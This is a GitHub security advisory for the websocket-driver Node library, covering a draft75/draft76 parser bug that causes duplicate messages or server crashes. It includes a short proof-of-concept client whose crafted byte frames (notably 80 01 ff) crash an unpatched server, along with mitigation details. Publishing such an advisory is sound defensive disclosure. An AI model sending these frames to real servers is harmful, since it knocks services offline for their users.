Skip to main content
Menu
Advisories

Message corruption and denial of service triggered by crafted client message

GHSA-V36F-RJG3-3V46Published Updated GitHub

Description

An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash.

Details

The websocket-driver library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the draft75 and draft76 versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server.

To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option allowDrafts: true when creating a driver instance.

Proof of concept

Given a server using websocket-driver to handle WebSocket connections:

const net = require('net')
const ws = require('websocket-driver')

let server = net.createServer((conn) => {
  let driver = ws.server()

  driver.on('connect', () => {
    if (ws.isWebSocket(driver)) driver.start()
  })

  driver.on('close', () => conn.end())
  conn.pipe(driver.io).pipe(conn)

  driver.on('message', (msg) => console.log(msg.data))
})

server.listen(8000)

A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames:

const net = require('net')

let tcp = net.connect(8000, '127.0.0.1')

tcp.on('connect', () => {
  tcp.write([
    'GET / HTTP/1.1',
    'Host: 127.0.0.1:8000',
    'Connection: upgrade',
    'Upgrade: websocket',
    '', ''
  ].join('\r\n'))

  tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff]))
  tcp.write(Buffer.from([0x80, 0x01, 0xff]))
})

This client will cause the server to emit the message Hi twice when it was only sent once. If the first frame is omitted and the client sends only 80 01 ff, then the server crashes.

After upgrading to a patched version, both these situations are handled correctly if allowDrafts: true is set. If it is not set then the connection is rejected as a bad request.

Impact

Users running a server using websocket-driver to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.

Affected versions

References

GitHub · faye/websocket-driver-node